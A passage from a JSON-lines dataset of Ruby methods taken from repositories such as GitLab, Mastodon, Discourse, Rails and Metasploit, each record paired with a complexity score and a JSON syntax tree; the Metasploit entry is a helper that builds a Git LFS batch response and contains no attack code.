":[\"scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_failures\"]},{\"type\":\"send\",\"children\":[null,\"failures\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}","id":"0632b35e-12e3-4e39-9d99-328fa7a7d341"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable_links/destroy_service.rb","start_line":30,"raw_source":"def after_destroy\n      create_notes\n      track_event\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"after_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_notes\"]},{\"type\":\"send\",\"children\":[null,\"track_event\"]}]}]}","id":"26776609-ba18-467a-885c-e1f969a93b51"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/server.rb","start_line":594,"raw_source":"def initialize(sock, socket_option_setter, close_callback, log, under_plugin_development, connect_callback)\n            raise ArgumentError, \"socket must be a TCPSocket: sock=#{sock}\" unless sock.is_a?(TCPSocket)\n\n            socket_option_setter.call(sock)\n\n            @_handler_socket = sock\n            super(sock)\n\n            @log = log\n            @under_plugin_development = under_plugin_development\n\n            @connect_callback = connect_callback\n            @data_callback = nil\n            @close_callback = close_callback\n\n            @callback_connection = nil\n            @close_after_write_complete = false\n            @closing = false\n\n            @mutex = Mutex.new # to serialize #write and #close\n          end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]},{\"type\":\"arg\",\"children\":[\"socket_option_setter\"]},{\"type\":\"arg\",\"children\":[\"close_callback\"]},{\"type\":\"arg\",\"children\":[\"log\"]},{\"type\":\"arg\",\"children\":[\"under_plugin_development\"]},{\"type\":\"arg\",\"children\":[\"connect_callback\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"TCPSocket\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"socket must be a TCPSocket: sock=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket_option_setter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@_handler_socket\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@log\",{\"type\":\"lvar\",\"children\":[\"log\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@under_plugin_development\",{\"type\":\"lvar\",\"children\":[\"under_plugin_development\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@connect_callback\",{\"type\":\"lvar\",\"children\":[\"connect_callback\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@data_callback\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@close_callback\",{\"type\":\"lvar\",\"children\":[\"close_callback\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@callback_connection\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@close_after_write_complete\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@closing\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]}]}]}","id":"7de68f71-c1aa-4743-95c1-1e88937e870c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/account_reach_finder.rb","start_line":18,"raw_source":"def followers_inboxes\n    @account.followers.inboxes\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"followers_inboxes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"followers\"]},\"inboxes\"]}]}","id":"ae62269f-159a-41f1-98f8-f659501a9a27"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/git/lfs.rb","start_line":22,"raw_source":"def get_batch_response(request, server_addr, repo_objects)\n    server_addr = server_addr.to_s unless server_addr.kind_of?(String)\n    server_addr = server_addr.gsub(/\\/\\w+\\.git/, '')\n\n    repo_objects = [ repo_objects ] unless repo_objects.kind_of?(Array)\n    response = Msf::Exploit::Git::Lfs::Response.from_http_request(request, server_addr)\n    return nil unless response\n\n    unless response.valid_objects?(repo_objects) || response.code != 200\n      print_error('Client requested objects not in repository')\n      return response\n    end\n\n    obj_data_arr = []\n    response.valid_objs.each do |obj|\n      sha = Msf::Exploit::Git::Lfs::Response.obj_sha256(obj.content)\n      time = Time.now + 3600\n      obj_data_arr <<\n      {\n        'oid' => sha,\n        'size' => obj.content.size,\n        'actions' =>\n        {\n          'download' =>\n          {\n            'href' => \"#{response.base_addr}/#{sha}\",\n            'expires_at' => time.strftime(\"%FT%TZ\"),\n            'expires_in' => 3600\n          }\n        }\n      }\n    end\n\n    response.body = { 'objects' => obj_data_arr }.to_json\n\n    response\n  end","complexity_score":40.83,"ast_json":"{\"type\":\"def\",\"children\":[\"get_batch_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"server_addr\"]},{\"type\":\"arg\",\"children\":[\"repo_objects\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_addr\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"server_addr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_addr\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"server_addr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_addr\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/\\\\w+\\\\.git\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo_objects\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"repo_objects\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo_objects\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Git\"]},\"Lfs\"]},\"Response\"]},\"from_http_request\",{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"server_addr\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"valid_objects?\",{\"type\":\"lvar\",\"children\":[\"repo_objects\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Client requested objects not in repository\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"obj_data_arr\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"valid_objs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sha\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Git\"]},\"Lfs\"]},\"Response\"]},\"obj_sha256\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"content\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"+\",{\"type\":\"int\",\"children\":[3600]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj_data_arr\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"oid\"]},{\"type\":\"lvar\",\"children\":[\"sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"content\"]},\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"actions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"download\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"href\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"base_addr\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expires_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%FT%TZ\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expires_in\"]},{\"type\":\"int\",\"children\":[3600]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"objects\"]},{\"type\":\"lvar\",\"children\":[\"obj_data_arr\"]}]}]},\"to_json\"]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"1084ae53-f329-4267-b2cb-3cf9674f4f43"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/api_key_scope.rb","start_line":271,"raw_source":"def scope_mappings\n      plugin_mappings = DiscoursePluginRegistry.api_key_scope_mappings\n      return default_mappings if plugin_mappings.empty?\n\n      default_mappings.deep_dup.tap do |mappings|\n        plugin_mappings.each do |plugin_mapping|\n          parse_resources!(plugin_mapping)\n          mappings.deep_merge!(plugin_mapping)\n        end\n      end\n    end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"scope_mappings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plugin_mappings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"api_key_scope_mappings\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_mappings\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_mappings\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_mappings\"]},\"deep_dup\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mappings\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_mappings\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plugin_mapping\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_resources!\",{\"type\":\"lvar\",\"children\":[\"plugin_mapping\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mappings\"]},\"deep_merge!\",{\"type\":\"lvar\",\"children\":[\"plugin_mapping\"]}]}]}]}]}]}]}","id":"c797696f-fb69-4159-90eb-8d66234a8df7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/notes_actions.rb","start_line":305,"raw_source":"def note_project\n    return unless project\n\n    note_project_id = params[:note_project_id]\n\n    the_project =\n      if note_project_id.present?\n        Project.find(note_project_id)\n      else\n        project\n      end\n\n    return access_denied! unless can?(current_user, :create_note, the_project)\n\n    the_project\n  end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"note_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"note_project_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"note_project_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"the_project\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note_project_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"note_project_id\"]}]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_note\"]},{\"type\":\"lvar\",\"children\":[\"the_project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_denied!\"]}]}]},{\"type\":\"lvar\",\"children\":[\"the_project\"]}]}]}","id":"488ff921-13ff-49bb-80b2-b06bf74059fb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/trends/preview_card_provider_batch.rb","start_line":20,"raw_source":"def preview_card_providers\n    PreviewCardProvider.where(id: preview_card_provider_ids)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"preview_card_providers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PreviewCardProvider\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"preview_card_provider_ids\"]}]}]}]}]}","id":"f1da231a-58cf-4ef4-bb8a-24de8d966431"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider/slack/slack_command_controller.rb","start_line":22,"raw_source":"def interactive\n      json = JSON.parse(params[:payload], symbolize_names: true)\n      process_interactive(json)\n      head :ok\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"interactive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_names\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"process_interactive\",{\"type\":\"lvar\",\"children\":[\"json\"]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"6b193c1d-1d4c-4fef-b487-99d095a19f9f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/railties/engine_test.rb","start_line":1923,"raw_source":"def restrict_frameworks\n      remove_from_config('require \"rails/all\"')\n      remove_from_config('require_relative \"boot\"')\n      remove_from_env_config(\"development\", \"config.active_storage.*\")\n      frameworks = <<~RUBY\n        require \"rails\"\n        require \"active_model/railtie\"\n        require \"active_job/railtie\"\n        require \"active_record/railtie\"\n        require \"action_controller/railtie\"\n        require \"action_mailer/railtie\"\n        require \"action_view/railtie\"\n        require \"rails/test_unit/railtie\"\n      RUBY\n      environment = File.read(\"#{app_path}/config/application.rb\")\n      File.open(\"#{app_path}/config/application.rb\", \"w\") { |f| f.puts frameworks + \"\\n\" + environment }\n    end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"restrict_frameworks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_from_config\",{\"type\":\"str\",\"children\":[\"require \\\"rails/all\\\"\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_from_config\",{\"type\":\"str\",\"children\":[\"require_relative \\\"boot\\\"\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_from_env_config\",{\"type\":\"str\",\"children\":[\"development\"]},{\"type\":\"str\",\"children\":[\"config.active_storage.*\"]}]},{\"type\":\"lvasgn\",\"children\":[\"frameworks\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"require \\\"rails\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"require \\\"active_model/railtie\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"require \\\"active_job/railtie\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"require \\\"active_record/railtie\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"require \\\"action_controller/railtie\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"require \\\"action_mailer/railtie\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"require \\\"action_view/railtie\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"require \\\"rails/test_unit/railtie\\\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"environment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\"]}]},{\"type\":\"str\",\"children\":[\"/config/application.rb\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\"]}]},{\"type\":\"str\",\"children\":[\"/config/application.rb\"]}]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frameworks\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"environment\"]}]}]}]}]}]}","id":"b9f35b47-4ec3-41b0-8bb1-5252c8dd3203"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/line.rb","start_line":110,"raw_source":"def suggestible?\n        !removed?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"suggestible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"removed?\"]},\"!\"]}]}","id":"0e664b6e-14d5-445c-8c96-ce2f5525031c"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/comments_controller.rb","start_line":335,"raw_source":"def permit_commenter\n    return unless user_blocked?\n\n    raise ModerationUnauthorizedError, I18n.t(\"comments_controller.moderated\")\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permit_commenter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_blocked?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ModerationUnauthorizedError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"comments_controller.moderated\"]}]}]}]}]}","id":"947a365b-556f-4793-93af-e1a035f9574b"}
{"repo_name":"rails","file_path":"./repos/rails/guides/rails_guides/markdown/renderer.rb","start_line":87,"raw_source":"def lexer_language(code_type)\n          case code_type\n          when \"html+erb\"\n            \"erb\"\n          when \"bash\"\n            \"console\"\n          when nil\n            \"plaintext\"\n          else\n            ::Rouge::Lexer.find(code_type) ? code_type : \"plaintext\"\n          end\n        end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"lexer_language\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code_type\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"html+erb\"]},{\"type\":\"str\",\"children\":[\"erb\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"bash\"]},{\"type\":\"str\",\"children\":[\"console\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"plaintext\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rouge\"]},\"Lexer\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"code_type\"]}]},{\"type\":\"lvar\",\"children\":[\"code_type\"]},{\"type\":\"str\",\"children\":[\"plaintext\"]}]}]}]}","id":"a61e397b-3b37-4776-9034-3b9db6e54ffd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/simple_order_builder.rb","start_line":224,"raw_source":"def ordered_by_other_columns_with_tie_breaker?\n          return unless order_values.size >= 2 && supported_columns?(order_values[0...-1])\n\n          has_tie_breaker?\n        end","complexity_score":11.13,"ast_json":"{\"type\":\"def\",\"children\":[\"ordered_by_other_columns_with_tie_breaker?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order_values\"]},\"size\"]},\">=\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"supported_columns?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order_values\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"has_tie_breaker?\"]}]}]}","id":"fafe26de-fc5a-448f-8761-a1b07eef4957"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/entry/validators.rb","start_line":276,"raw_source":"def validate_array_of_strings_or_regexps(values)\n            values.is_a?(Array) && values.all?(&method(:validate_string_or_regexp))\n          end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_array_of_strings_or_regexps\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"validate_string_or_regexp\"]}]}]}]}]}]}","id":"3ae8e3f5-d41f-449f-ae17-1c8db646b95c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cli/command/suggest_extensions.rb","start_line":41,"raw_source":"def print_install_suggestions\n          puts\n          puts 'Tip: Based on detected gems, the following ' \\\n               'RuboCop extension libraries might be helpful:'\n\n          not_installed_extensions.sort.each do |extension|\n            puts \"  * #{extension} (https://rubygems.org/gems/#{extension})\"\n          end\n        end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"print_install_suggestions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Tip: Based on detected gems, the following \"]},{\"type\":\"str\",\"children\":[\"RuboCop extension libraries might be helpful:\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"not_installed_extensions\"]},\"sort\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"extension\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  * \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extension\"]}]},{\"type\":\"str\",\"children\":[\" (https://rubygems.org/gems/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extension\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}]}","id":"3e196c8d-eeac-4e83-a07d-7bf8cad62d3a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/highlight.rb","start_line":92,"raw_source":"def diff_line_highlighting(diff_line, plain: false)\n        rich_line = syntax_highlighter(diff_line).highlight(\n          diff_line.text(prefix: false),\n          plain: plain,\n          context: { line_number: diff_line.line },\n          used_on: :diff\n        )\n\n        # Only update text if line is found. This will prevent\n        # issues with submodules given the line only exists in diff content.\n        if rich_line\n          line_prefix = diff_line.text =~ PREFIX_REGEXP ? Regexp.last_match(1) : ' '\n          rich_line.prepend(line_prefix).concat(\"\\n\")\n        end\n      end","complexity_score":15.88,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_line_highlighting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff_line\"]},{\"type\":\"kwoptarg\",\"children\":[\"plain\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rich_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"syntax_highlighter\",{\"type\":\"lvar\",\"children\":[\"diff_line\"]}]},\"highlight\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_line\"]},\"text\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"lvar\",\"children\":[\"plain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_line\"]},\"line\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"used_on\"]},{\"type\":\"sym\",\"children\":[\"diff\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rich_line\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line_prefix\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[